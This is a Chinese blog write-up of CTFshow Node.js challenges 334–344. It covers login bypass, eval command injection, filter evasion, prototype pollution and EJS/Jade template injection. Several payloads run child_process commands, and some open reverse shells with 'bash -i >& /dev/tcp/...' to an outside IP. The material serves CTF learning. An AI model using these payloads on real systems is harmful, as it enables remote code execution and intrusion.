877 字
4 分钟
Node.js练习

CTFshow334

下载源码,查看 login.js

finduser 函数中判断登录的名称首先要不等于 CTFSHOW 然后将登录的 name 和 password 与 item 进行比较

查看 use.js

保存了一组数据:CTFSHOW:123456,因为 login.js 中比较的时候是将输入转为大写后才比较,所以输入 ctfshow:123456 绕过验证

CTFSHOW 335

查看页面源码:

使用 eval 传参执行命令:?eval=require(“child_process”).execSync(‘ls’).toString()

调用 child_process 模块下的 execSync 执行命令查看当前目录下的文件,execSync 默认返回 buffer 对象,使用 toString 转为字符串输出,不过这里测试不用 toString 也能正常回显,最好还是使用一下

CTFSHOW336

使用上一题的 payload 发现不行,应该是被过滤了

?eval=__filename 查看文件路径: /app/routes/index.js

发现 过滤了 exec 和 load,随便尝试一下另外三个命令函数都可以

payload1:?eval=require(‘child_process’).spawnSync(‘ls’,[’.’]).stdout.toString() /spwanSync 返回一个对象,用 stdout 获取输出

payload2:?eval=require(‘child_process’)[‘ex’%2b’ecSync’](‘cat fl001g.txt’); 直接拼接函数名来绕过 //%2b 防止+被解析成空格

CTFSHOW337

关键代码:

联想 php 中的 md5 绕过尝试使用数组绕过:a[]=1&b[]=1

满足长度相等,并且因为是引用类型,a 和 b 指向不同地址所以不相等,a+flag=b+flag=‘1flag’

CTFSHOW338

下载源码,查看 login.js

路由/使用 post 方法提交一段 json 数据,需要使得 secert 的 ctfshow 属性等于 36body,明显就是原型链污染,通过污染 Object 原型对象使得所有的原型对象都带上 ctfshow

关键方法:utils.copy(user,req.body); 查看 copy 方法从/utils/common 引入

common.js:

传入对象 o1 和 o2,遍历 o2 中的属性,如果 o2 和 o1 都有这个属性,递归传入属性的值继续遍历,否则objectl[key] object2[key]

构造 payload:{“proto”:{“ctfshow”:“36dbody”}}

利用每个对象都有 proto ,进入递归传入 o1[proto] 与 o2[proto],o1.proto 指向原型对象 Object.prototype,所以传入的为Object.prototype 与{“ctfshow”:“36dbody”},继续遍历没有相同的属性,走 else,另Object.prototype={“ctfshow”:“36dbody”},这样就成功污染了全局所有对象的属性,所有对象都 多了一个属性{“ctfshow”:“36dbody”}

CTFSHOW339

与上题不同,这次需要另 ctfshow===flag,但是 flag 是不知道的,上一题走不通

查看多出的 api.js:

关注 query(query)(query)

Function 是一个全局构造函数,Function(query)创建一个函数 query 作为函数的主体内容,(query)立即执行函数,所以我们只需控制 query,另他的值为我们想要执行的命令就可以了,怎么控制 query 当然还是原型污染

payload:{“proto”:{“query”:“return global.process.mainModule.constructor._load(‘child_process’).exec(‘bash -c “bash -i >& /dev/tcp/ip/6666 0>&1”’)“}}这里使用 反弹 shell,也可以直接用 execSync 直接拿到回显,但是污染一次后你想更改内容就只能重启容器,比较麻烦,所以使用反弹 shell,最后在/app/routes/login.js 中找到 flag

CTFSHOW340

查看 login.js,不同之处:

new function(){}会创建一个拥有独立 prototype 对象的匿名构造函数实例,所以 userinfo.proto!=Object.prototype,而是等于构造函数的 prototype,所以 userinfo.proto.proto__ 才等于 Object.prototype

构造 payload:{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"')"}}}

CTFSHOW341

这题要用到 ejs 模板注入,暂时还没深入分析,先贴个链接

https://blog.csdn.net/lastwinn/article/details/128914419

https://www.anquanke.com/post/id/236354

payload:{“proto”:{“proto”:{“outputFunctionName”:“_tmp1;global.process.mainModule.require(‘child_process’).exec(‘bash -c “bash -i >& /dev/tcp/124.222.136.33/1337 0>&1”’);var __tmp2”}}}

CTFSHOW342

jade 模板注入

payload:{“proto”:{“proto”: {“type”:“Code”,“compileDebug”,“self”,“line”:“0, "" ));return global.process.mainModule.constructor._load(‘child_process’).exec(‘bash -c “bash -i >& /dev/tcp/124.222.136.33/1337 0>&1”’);//”}}}\

CTFSHOW343

没看明白过滤了什么,用上题的直接过

CTFSHOW344

加了一些过滤,禁掉了逗号和一个不可见字符

node.js 中会把同名参数以数组的方式存储

所以构造 payload: query={“name”:“admin”&query=“password”:“%63tfshow”&query=“isVIP”}

值得注意的是需要将 c 进行编码,前面的双引号编码后是%22,和 c 连起来 2c 会被过滤掉

Node.js练习
https://lab404.cn/posts/nodejs-exercise/
作者
见山
发布于
2026-02-06
许可协议
CC BY-NC-SA 4.0